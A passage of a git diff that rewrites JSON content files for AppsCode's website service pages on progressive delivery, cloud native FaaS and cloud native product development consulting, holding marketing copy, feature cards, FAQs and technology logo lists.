is the Engine Behind Stateful Workloads & Modern AI", + "image": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_254620_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/" + }, + { + "type": "Event", + "title": "KubeConNA Digest - Top Trends and Key Takeaways from This Year’s Event by AppsCode", + "image": "https://appscode.com/blog/post/kubecon-na-2024/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_69997_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/kubecon-na-2024/" + } + ] + }, + "faq": [ + { + "question": "What do your Progressive Delivery Consulting Services include?", + "answer": "Our Progressive Delivery Consulting Services cover the full lifecycle of cloud-native product delivery — from opportunity discovery and MVP development to engineering, DevOps, deployment, and scaling. We focus on enabling safe, controlled releases and building resilient, high-performing systems." + }, + { + "question": "Which technologies and practices are used in progressive delivery consulting?", + "answer": "We leverage Kubernetes orchestration, microservices architecture, continuous delivery pipelines (CI/CD), automated testing, infrastructure as code, observability, and hybrid/multi-cloud deployment patterns. These practices help teams implement feature rollouts safely and maintain operational confidence." + }, + { + "question": "Can you work with our existing product roadmap and stack?", + "answer": "Yes — we can integrate with your current roadmap and architecture. Our engineers refine existing systems, enable progressive delivery workflows, and lift your platform into a containerized, cloud-native, and production-ready state." + }, + { + "question": "What is the typical timeline and engagement model for Progressive Delivery Consulting Services?", + "answer": "Most engagements start with a 1–2 week discovery phase to align on goals, architecture, and MVP scope. Development continues in 4–8 week agile sprints. Engagement models include fixed-scope projects, time-and-materials with embedded engineers, or longer-term consulting partnerships." + }, + { + "question": "Do you support multi-cloud or hybrid cloud environments?", + "answer": "Absolutely. Our Progressive Delivery Consulting Services are designed to be cloud-agnostic, supporting AWS, Azure, GCP, and on-premises Kubernetes clusters. This ensures consistent, safe deployments across different environments." + }, + { + "question": "How do you ensure quality, security, and reliability during progressive delivery?", + "answer": "Quality is ensured through automated testing, code reviews, and continuous integration. Security is baked in with container isolation, role-based access control, secrets management, and vulnerability scanning. Reliability is maintained with monitoring, backup/recovery, and disaster resilience patterns." + }, + { + "question": "What happens after the product is launched?", + "answer": "After launch, we help monitor performance, optimize infrastructure, and scale the system. Progressive Delivery Consulting Services also include implementing feature rollouts, canary releases, and automated rollback strategies to maintain operational confidence." + }, + { + "question": "How much do Progressive Delivery Consulting Services cost, and what are the pricing models?", + "answer": "Pricing depends on project scope, complexity, number of teams, and ongoing support requirements. We offer flexible models such as fixed-price MVP builds, hourly or engagement-based workflows, and retainers for continuous consulting and progressive delivery support. A detailed proposal is provided after the discovery phase." + } + ] +} diff --git a/data/services/product-engineering/cloud_native_faas.json b/data/services/product-engineering/cloud_native_faas.json index ba64d48225..acb446fd34 100644 --- a/data/services/product-engineering/cloud_native_faas.json +++ b/data/services/product-engineering/cloud_native_faas.json @@ -1,313 +1,313 @@ -{ - "hero": { - "title": "Accelerate Your Cloud Native FaaS Journey", - "subtitle": "AppsCode cloud native FaaS architectures that deliver performance, cost efficiency, and agility, without managing infrastructure.", - "cta_text": "TALK TO A SERVERLESS EXPERT", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/serverless-consulting-hero.png", - "alt": "Cloud Native FaaS Consulting Illustration" - } - }, - "trusted_by": { - "title": "Trusted by Enterprises & Cloud-Native Innovators" - }, - "title_with_small_cards": { - "title": "The Power of Going Serverless", - "subtitle": "Here’s why enterprises partner with AppsCode to modernize their applications and scale effortlessly:", - "areas": [ - { - "icon": "fa fa-cubes", - "title": "Simplified Testing & Deployment" - }, - { - "icon": "fa fa-cogs", - "title": "Zero Infrastructure Overhead" - }, - { - "icon": "fa fa-clock-o", - "title": "Pay Only for Execution" - }, - { - "icon": "fa fa-laptop", - "title": "No Idle-Time Costs" - }, - { - "icon": "fa fa-arrows-alt", - "title": "Automatic Scaling on Demand" - }, - { - "icon": "fa fa-server", - "title": "Maintenance-Free Operations" - }, - { - "icon": "fa fa-rocket", - "title": "Rapid Development Agility" - }, - { - "icon": "fa fa-money", - "title": "Optimized Operational Spend" - } - ] - }, - "service_details": { - "title": "Comprehensive Cloud Native FaaS Services", - "subtitle": "AppsCode provides end-to-end cloud native FaaS consulting—from strategy to deployment and optimization, ensuring your applications are performant, scalable, and secure.", - "sections": [ - { - "title": "Serverless Strategy & Advisory", - "description": "Define your cloud native FaaS roadmap with expert guidance on architecture, trade-offs, and best practices.", - "offerings": [ - "Assess existing systems and create a tailored migration or modernization roadmap for FaaS adoption.", - "Identify business goals, expected ROI, and performance priorities.", - "Design highly scalable, event-driven cloud native architectures using Kubernetes and microservices." - ], - "image": "/assets/images/services/serverless-strategy-advisory.png" - }, - { - "title": "Cloud Native FaaS Implementation", - "description": "Build production-grade FaaS solutions leveraging AWS Lambda, Google Cloud Functions, Azure Functions, Knative, and open-source frameworks like OpenFaaS and Fission.", - "offerings": [ - "Design event-driven serverless functions optimized for compute and cost efficiency.", - "Implement multi-cloud or hybrid FaaS deployments for flexibility and resilience.", - "Simplify CI/CD pipelines while eliminating infrastructure management overhead." - ], - "image": "/assets/images/services/serverless-implementation-services.png" - }, - { - "title": "Serverless CI/CD Automation", - "description": "Automate delivery with CI/CD pipelines built for serverless environments, ensuring rapid iteration and error-free releases.", - "offerings": [ - "Build automated deployment pipelines using AWS SAM, GCP Cloud Build, or GitHub Actions.", - "Integrate testing, monitoring, and rollback mechanisms for resilience.", - "Deliver updates faster while maintaining code quality and stability." - ], - "image": "/assets/images/services/ci-cd-automation.png" - }, - { - "title": "Managed FaaS Operations", - "description": "Focus on innovation while AppsCode manages your FaaS environments—ensuring uptime, performance, and cost efficiency.", - "offerings": [ - "Continuous monitoring and optimization of function execution, latency, and cost.", - "24×7 automated incident response and real-time health checks.", - "Hands-off operational management to accelerate business value delivery." - ], - "image": "/assets/images/services/serverless-operations.png" - }, - { - "title": "Managed FaaS Operations", - "description": "Focus on innovation while AppsCode manages your FaaS environments—ensuring uptime, performance, and cost efficiency.", - "offerings": [ - "Continuous monitoring and optimization of function execution, latency, and cost.", - "24×7 automated incident response and real-time health checks.", - "Hands-off operational management to accelerate business value delivery." - ], - "image": "/assets/images/services/training-enablement.png" - } - ] - }, - "cards": { - "title": "Why Partner with AppsCode for Cloud Native FaaS?", - "subtitle": "Benefit from deep expertise in Kubernetes, cloud-native architectures, and FaaS solutions to accelerate innovation:", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Cloud & FaaS Experts", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" - }, - { - "icon": "fa fa-briefcase", - "title": "Proven FaaS Implementation", - "description": "Successfully delivered 100+ FaaS and cloud-native projects across enterprises and startups." - }, - { - "icon": "fa fa-trophy", - "title": "Early Cloud Native Innovator", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Continuous Knowledge Transfer", - "description": "Hands-on team training for cloud native FaaS and modern DevOps practices." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Scalable Engineering Teams", - "description": "On-demand cloud native FaaS engineers for rapid delivery without long hiring cycles." - } - ] - }, - "industries": { - "title": "Industry-Focused Cloud Native FaaS Expertise", - "subtitle": "AppsCode blends cloud-native FaaS innovation with domain knowledge to achieve measurable business impact:", - "additional_text": "From fintech to healthcare, our FaaS strategies optimize performance, cost, and scalability for every industry.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Financial Services", - "description": "Secure, compliant FaaS pipelines for digital banking, payments, and fintech solutions." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Multi-tenant SaaS platforms and AI integration powered by cloud native FaaS." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Event-driven FaaS solutions for connected vehicles and real-time analytics." - }, - { - "icon": "fa fa-plug", - "title": "Energy & Utilities", - "description": "Optimize monitoring, field operations, and analytics with serverless cloud native FaaS." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "HIPAA-compliant FaaS pipelines for patient data, real-time processing, and scalability." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver real-time personalization, booking, and analytics with cloud native FaaS." - } - ] - }, - "tech_stack": { - "title": "Technologies We Excel In", - "subtitle": "Our engineers master modern serverless and cloud-native tools to build scalable, future-ready architectures.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Let’s Build Your Cloud Native FaaS Future", - "subtitle": "Partner with AppsCode to design, implement, and optimize cloud native FaaS architectures that scale effortlessly and deliver measurable business impact.", - "buttons": [ - { - "text": "Talk to a Cloud Native FaaS Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "faq": [ - { - "question": "What do your Cloud Native FaaS Services include?", - "answer": "Our Cloud Native FaaS Services cover the complete lifecycle of building serverless, event-driven applications — from discovery and MVP design to engineering, DevOps automation, deployment, and scaling. We combine disciplined processes and cloud-native best practices to deliver secure, high-performing, and scalable solutions." - }, - { - "question": "Which technologies and practices do you use for cloud-native and FaaS development?", - "answer": "We use Kubernetes, Knative, and other serverless frameworks to enable scalable Function-as-a-Service workloads. Our practices include CI/CD pipelines, Infrastructure as Code (IaC), automated testing, observability, and multi-cloud or hybrid deployments — ensuring flexibility and operational consistency." - }, - { - "question": "Can you integrate with our existing roadmap or tech stack for FaaS development?", - "answer": "Yes. Our engineers can extend your existing roadmap or modernize your architecture with serverless and cloud-native patterns. Whether you already have microservices or are starting from scratch, we help design, containerize, and deploy functions efficiently on your chosen cloud environment." - }, - { - "question": "What is the typical timeline and engagement model for Cloud Native FaaS projects?", - "answer": "Most Cloud Native FaaS engagements start with a short discovery phase (1–2 weeks) to align goals and architecture, followed by agile sprints of 4–8 weeks for development. We offer flexible models such as fixed-scope builds, time-and-materials, or dedicated engineering support for continuous innovation." - }, - { - "question": "Do you support multi-cloud or hybrid environments for FaaS solutions?", - "answer": "Absolutely. Our Cloud Native FaaS architecture supports public clouds like AWS, Google Cloud, and Azure, as well as on-premises Kubernetes clusters. We ensure portability and scalability across environments using open standards and cloud-agnostic tooling." - }, - { - "question": "How do you ensure quality, security, and reliability in your Cloud Native FaaS Services?", - "answer": "Quality and reliability are built in through automated testing, peer code reviews, continuous integration, and real-time monitoring. Security is enforced with role-based access, secrets management, and vulnerability scanning. Our cloud-native frameworks deliver resilient, production-grade performance." - }, - { - "question": "What happens after deployment of our FaaS product?", - "answer": "After deployment, we help monitor performance, optimize execution time, and scale functions based on workload demand. Our team continues to enhance observability, automation, and cost optimization to keep your Cloud Native FaaS Services efficient and future-ready." - }, - { - "question": "How much do Cloud Native FaaS Services cost?", - "answer": "Pricing depends on project scope, function complexity, cloud platform, and ongoing support. We offer flexible options — from fixed-price MVP builds to time-based or retainer models for continuous serverless development. A detailed estimate follows our discovery phase." - } - ] -} +{ + "hero": { + "title": "Accelerate Your Cloud Native FaaS Journey", + "subtitle": "AppsCode cloud native FaaS architectures that deliver performance, cost efficiency, and agility, without managing infrastructure.", + "cta_text": "TALK TO A SERVERLESS EXPERT", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/serverless-consulting-hero.png", + "alt": "Cloud Native FaaS Consulting Illustration" + } + }, + "trusted_by": { + "title": "Trusted by Enterprises & Cloud-Native Innovators" + }, + "title_with_small_cards": { + "title": "The Power of Going Serverless", + "subtitle": "Here’s why enterprises partner with AppsCode to modernize their applications and scale effortlessly:", + "areas": [ + { + "icon": "fa fa-cubes", + "title": "Simplified Testing & Deployment" + }, + { + "icon": "fa fa-cogs", + "title": "Zero Infrastructure Overhead" + }, + { + "icon": "fa fa-clock-o", + "title": "Pay Only for Execution" + }, + { + "icon": "fa fa-laptop", + "title": "No Idle-Time Costs" + }, + { + "icon": "fa fa-arrows-alt", + "title": "Automatic Scaling on Demand" + }, + { + "icon": "fa fa-server", + "title": "Maintenance-Free Operations" + }, + { + "icon": "fa fa-rocket", + "title": "Rapid Development Agility" + }, + { + "icon": "fa fa-money", + "title": "Optimized Operational Spend" + } + ] + }, + "service_details": { + "title": "Comprehensive Cloud Native FaaS Services", + "subtitle": "AppsCode provides end-to-end cloud native FaaS consulting—from strategy to deployment and optimization, ensuring your applications are performant, scalable, and secure.", + "sections": [ + { + "title": "Serverless Strategy & Advisory", + "description": "Define your cloud native FaaS roadmap with expert guidance on architecture, trade-offs, and best practices.", + "offerings": [ + "Assess existing systems and create a tailored migration or modernization roadmap for FaaS adoption.", + "Identify business goals, expected ROI, and performance priorities.", + "Design highly scalable, event-driven cloud native architectures using Kubernetes and microservices." + ], + "image": "/assets/images/services/serverless-strategy-advisory.png" + }, + { + "title": "Cloud Native FaaS Implementation", + "description": "Build production-grade FaaS solutions leveraging AWS Lambda, Google Cloud Functions, Azure Functions, Knative, and open-source frameworks like OpenFaaS and Fission.", + "offerings": [ + "Design event-driven serverless functions optimized for compute and cost efficiency.", + "Implement multi-cloud or hybrid FaaS deployments for flexibility and resilience.", + "Simplify CI/CD pipelines while eliminating infrastructure management overhead." + ], + "image": "/assets/images/services/serverless-implementation-services.png" + }, + { + "title": "Serverless CI/CD Automation", + "description": "Automate delivery with CI/CD pipelines built for serverless environments, ensuring rapid iteration and error-free releases.", + "offerings": [ + "Build automated deployment pipelines using AWS SAM, GCP Cloud Build, or GitHub Actions.", + "Integrate testing, monitoring, and rollback mechanisms for resilience.", + "Deliver updates faster while maintaining code quality and stability." + ], + "image": "/assets/images/services/ci-cd-automation.png" + }, + { + "title": "Managed FaaS Operations", + "description": "Focus on innovation while AppsCode manages your FaaS environments—ensuring uptime, performance, and cost efficiency.", + "offerings": [ + "Continuous monitoring and optimization of function execution, latency, and cost.", + "24×7 automated incident response and real-time health checks.", + "Hands-off operational management to accelerate business value delivery." + ], + "image": "/assets/images/services/serverless-operations.png" + }, + { + "title": "Managed FaaS Operations", + "description": "Focus on innovation while AppsCode manages your FaaS environments—ensuring uptime, performance, and cost efficiency.", + "offerings": [ + "Continuous monitoring and optimization of function execution, latency, and cost.", + "24×7 automated incident response and real-time health checks.", + "Hands-off operational management to accelerate business value delivery." + ], + "image": "/assets/images/services/training-enablement.png" + } + ] + }, + "cards": { + "title": "Why Partner with AppsCode for Cloud Native FaaS?", + "subtitle": "Benefit from deep expertise in Kubernetes, cloud-native architectures, and FaaS solutions to accelerate innovation:", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Cloud & FaaS Experts", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" + }, + { + "icon": "fa fa-briefcase", + "title": "Proven FaaS Implementation", + "description": "Successfully delivered 100+ FaaS and cloud-native projects across enterprises and startups." + }, + { + "icon": "fa fa-trophy", + "title": "Early Cloud Native Innovator", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Continuous Knowledge Transfer", + "description": "Hands-on team training for cloud native FaaS and modern DevOps practices." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Scalable Engineering Teams", + "description": "On-demand cloud native FaaS engineers for rapid delivery without long hiring cycles." + } + ] + }, + "industries": { + "title": "Industry-Focused Cloud Native FaaS Expertise", + "subtitle": "AppsCode blends cloud-native FaaS innovation with domain knowledge to achieve measurable business impact:", + "additional_text": "From fintech to healthcare, our FaaS strategies optimize performance, cost, and scalability for every industry.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Financial Services", + "description": "Secure, compliant FaaS pipelines for digital banking, payments, and fintech solutions." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Multi-tenant SaaS platforms and AI integration powered by cloud native FaaS." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Event-driven FaaS solutions for connected vehicles and real-time analytics." + }, + { + "icon": "fa fa-plug", + "title": "Energy & Utilities", + "description": "Optimize monitoring, field operations, and analytics with serverless cloud native FaaS." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "HIPAA-compliant FaaS pipelines for patient data, real-time processing, and scalability." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver real-time personalization, booking, and analytics with cloud native FaaS." + } + ] + }, + "tech_stack": { + "title": "Technologies We Excel In", + "subtitle": "Our engineers master modern serverless and cloud-native tools to build scalable, future-ready architectures.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Let’s Build Your Cloud Native FaaS Future", + "subtitle": "Partner with AppsCode to design, implement, and optimize cloud native FaaS architectures that scale effortlessly and deliver measurable business impact.", + "buttons": [ + { + "text": "Talk to a Cloud Native FaaS Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "faq": [ + { + "question": "What do your Cloud Native FaaS Services include?", + "answer": "Our Cloud Native FaaS Services cover the complete lifecycle of building serverless, event-driven applications — from discovery and MVP design to engineering, DevOps automation, deployment, and scaling. We combine disciplined processes and cloud-native best practices to deliver secure, high-performing, and scalable solutions." + }, + { + "question": "Which technologies and practices do you use for cloud-native and FaaS development?", + "answer": "We use Kubernetes, Knative, and other serverless frameworks to enable scalable Function-as-a-Service workloads. Our practices include CI/CD pipelines, Infrastructure as Code (IaC), automated testing, observability, and multi-cloud or hybrid deployments — ensuring flexibility and operational consistency." + }, + { + "question": "Can you integrate with our existing roadmap or tech stack for FaaS development?", + "answer": "Yes. Our engineers can extend your existing roadmap or modernize your architecture with serverless and cloud-native patterns. Whether you already have microservices or are starting from scratch, we help design, containerize, and deploy functions efficiently on your chosen cloud environment." + }, + { + "question": "What is the typical timeline and engagement model for Cloud Native FaaS projects?", + "answer": "Most Cloud Native FaaS engagements start with a short discovery phase (1–2 weeks) to align goals and architecture, followed by agile sprints of 4–8 weeks for development. We offer flexible models such as fixed-scope builds, time-and-materials, or dedicated engineering support for continuous innovation." + }, + { + "question": "Do you support multi-cloud or hybrid environments for FaaS solutions?", + "answer": "Absolutely. Our Cloud Native FaaS architecture supports public clouds like AWS, Google Cloud, and Azure, as well as on-premises Kubernetes clusters. We ensure portability and scalability across environments using open standards and cloud-agnostic tooling." + }, + { + "question": "How do you ensure quality, security, and reliability in your Cloud Native FaaS Services?", + "answer": "Quality and reliability are built in through automated testing, peer code reviews, continuous integration, and real-time monitoring. Security is enforced with role-based access, secrets management, and vulnerability scanning. Our cloud-native frameworks deliver resilient, production-grade performance." + }, + { + "question": "What happens after deployment of our FaaS product?", + "answer": "After deployment, we help monitor performance, optimize execution time, and scale functions based on workload demand. Our team continues to enhance observability, automation, and cost optimization to keep your Cloud Native FaaS Services efficient and future-ready." + }, + { + "question": "How much do Cloud Native FaaS Services cost?", + "answer": "Pricing depends on project scope, function complexity, cloud platform, and ongoing support. We offer flexible options — from fixed-price MVP builds to time-based or retainer models for continuous serverless development. A detailed estimate follows our discovery phase." + } + ] +} diff --git a/data/services/product-engineering/cloud_native_product_development.json b/data/services/product-engineering/cloud_native_product_development.json index c7c9de5a76..6e6b02eee1 100644 --- a/data/services/product-engineering/cloud_native_product_development.json +++ b/data/services/product-engineering/cloud_native_product_development.json @@ -1,426 +1,426 @@ -{ - "hero": { - "title": "Cloud Native Product Development That Scales Seamlessly", - "subtitle": "AppsCode Inc. empowers businesses with end-to-end cloud native product development — combining Kubernetes, DevOps, and microservices to deliver secure, resilient, and high-performing software faster.", - "cta_text": "TALK TO CLOUD-NATIVE EXPERTS", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/product-engineering-cloud-native-product-development-hero.png", - "alt": "Cloud Native Product Development and Engineering" - } - }, - "trusted_by": { - "title": "Trusted by Leading Global Enterprises and Startups" - }, - "cards": { - "title": "Expert Cloud Native Product Development Services", - "subtitle": "AppsCode Inc. helps technology leaders architect and deliver modern products using cloud-native development approaches, Kubernetes orchestration, and automated DevOps workflows.", - "items": [ - { - "icon": "fa fa-users", - "title": "On-Demand Cloud-Native Engineers", - "description": "Accelerate product delivery with expert engineers skilled in Kubernetes, cloud native development, and microservices-based architectures." - }, - { - "icon": "fa fa-cloud", - "title": "Deep Cloud-Native Expertise", - "description": "Leverage best practices in containerization, service mesh, CI/CD automation, and production-grade orchestration for cloud-native success." - }, - { - "icon": "fa fa-bolt", - "title": "Flexible Engineering Bandwidth", - "description": "Increase capacity for prototyping, sprint bursts, or sustained product work — delivering features faster while maintaining code quality." - }, - { - "icon": "fa fa-rocket", - "title": "MVP Development for Startups", - "description": "Move from idea to validated MVP quickly using microservices patterns, automated CI/CD, and Kubernetes-ready deployments." - }, - { - "icon": "fa fa-envelope-o", - "title": "Reliable Cloud-Native Product Support", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-money", - "title": "Optimized Cost Efficiency", - "description": "Design cost-aware cloud-native architectures that reduce cloud spend through efficient autoscaling and resource management." - } - ] - }, - "golang_expertise": { - "title": "Leverage Golang for High-Performance Cloud Native Applications", - "subtitle": "Build lightweight, maintainable, and high-throughput cloud-native applications with AppsCode Inc.’s Golang engineers, ideal for Kubernetes microservices and backend systems.", - "cta_text": "Meet our Experts", - "services": [ - { - "icon": "fa fa-cog", - "title": "End-to-End Product Engineering", - "description": "From service design to production deployment, our Golang teams deliver scalable, observable, and maintainable cloud-native applications." - }, - { - "icon": "fa fa-ticket", - "title": "Comprehensive Testing", - "description": "Ship reliable software with automated unit, integration, and end-to-end testing pipelines tailored for microservices and containerized workloads." - }, - { - "icon": "fa fa-wrench", - "title": "Proactive Maintenance", - "description": "Keep applications secure and up-to-date with ongoing maintenance, dependency management, and performance tuning in production." - }, - { - "icon": "fa fa-life-ring", - "title": "24/7 Cloud-Native Support & Monitoring", - "description": "Get real-time assistance for incidents, scaling, and performance optimization, keeping your product always production-ready." - } - ] - }, - "title_with_small_cards": { - "title": "Accelerate Cloud Native Product Development with AppsCode", - "subtitle": "We support product teams across critical domains for cloud-native success:", - "areas": [ - { - "icon": "fa fa-cloud", - "title": "Cloud-Native Development" - }, - { - "icon": "fa fa-shield", - "title": "Software Security & Compliance" - }, - { - "icon": "fa fa-microchip", - "title": "DevOps and DevSecOps Automation" - }, - { - "icon": "fa fa-server", - "title": "Cloud Infrastructure Optimization" - } - ] - }, - "large_preview_cards": { - "title": "Your Strategic Partner in Cloud Native Product Development", - "items": [ - { - "icon": "fa fa-rocket", - "title": "Startups", - "description": "Enable rapid iteration with a small, high-impact engineering team. We help startups design cloud-native architectures that are production-ready and cost-effective." - }, - { - "icon": "fa fa-building", - "title": "SMEs", - "description": "Augment your engineering organization with targeted cloud-native capabilities — from Kubernetes operations to CI/CD and microservices design." - }, - { - "icon": "fa fa-industry", - "title": "Enterprises", - "description": "Modernize legacy applications at scale. AppsCode Inc. helps enterprises migrate, secure, and operate cloud-native platforms across hybrid and multi-cloud environments." - } - ] - }, - "cards_group": { - "title": "Flexible Engagement Models for Cloud-Native Development", - "models": [ - { - "number": "01", - "title": "Team Extension", - "description": "Plug experienced cloud-native engineers into your teams to accelerate delivery while preserving governance and product vision." - }, - { - "number": "02", - "title": "End-to-End Product Development", - "description": "Hand off product development from ideation through launch — AppsCode Inc. handles architecture, implementation, and operational readiness." - }, - { - "number": "03", - "title": "Fixed Scope Projects", - "description": "Deliver targeted features or migrations with clear scope, milestones, and measurable outcomes for predictable investments." - } - ] - }, - "development_process": { - "title": "Our Proven Cloud Native Product Development Process", - "subtitle": "We combine disciplined processes, DevOps practices, and pragmatic engineering to deliver predictable, high-quality cloud-native products.", - "steps": [ - { - "date": "01", - "month": "Step", - "title": "Discovery & Strategy", - "active": false - }, - { - "date": "02", - "month": "Step", - "title": "MVP Design", - "active": false - }, - { - "date": "03", - "month": "Step", - "title": "Development & QA", - "active": true - }, - { - "date": "04", - "month": "Step", - "title": "Launch", - "active": false - }, - { - "date": "05", - "month": "Step", - "title": "Scale & Optimize", - "active": false - } - ], - "active_content": [ - { - "image": "/assets/images/services/steps/discover-opportunities.png", - "description": "We start by understanding your business goals, challenges, and target users. Through workshops and research, we identify opportunities where cloud-native technologies can deliver maximum impact. This phase ensures alignment between product vision and market needs.", - "active": false - }, - { - "image": "/assets/images/services/steps/build-mvp.png", - "description": "We translate validated ideas into a Minimum Viable Product (MVP) to test core hypotheses quickly. Our cross-functional teams focus on delivering tangible value using modern cloud-native stacks and CI/CD pipelines for fast feedback and iteration.", - "active": false - }, - { - "image": "/assets/images/services/steps/development.png", - "description": "After validating the MVP and defining requirements, our engineers work iteratively with your product teams. We leverage Kubernetes for orchestration, microservices for modularity, and DevOps pipelines for continuous delivery — ensuring each release is observable, secure, and ready for scale.", - "active": true - }, - { - "image": "/assets/images/services/steps/launch.png", - "description": "Once the product meets stability and performance benchmarks, we prepare for production launch. This includes final validation, observability setup, and rollout strategies to ensure smooth deployment across environments with zero downtime.", - "active": false - }, - { - "image": "/assets/images/services/steps/scale.png", - "description": "After launch, we continuously monitor performance and user metrics to identify growth opportunities. We help scale your platform with advanced automation, resilience strategies, and optimization of cloud resources for cost efficiency and performance.", - "active": false - } - ] - }, - "industries": { - "title": "Industry Expertise That Drives Results", - "subtitle": "With experience across 100+ clients, AppsCode Inc. understands industry-specific compliance, scale, and reliability demands when building cloud-native solutions.", - "additional_text": "From global enterprises with distributed datacenters to fast-growing startups, we deliver practical cloud-native strategies tailored to your business.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking and Finance", - "description": "Design secure, compliant, and highly available systems for payments, digital banking, and financial services that demand 24/7 reliability." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Build multi-tenant, scalable SaaS platforms with integrated AI and data pipelines optimized for Kubernetes and automated DevOps." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Enable connected vehicle services and data-driven features by 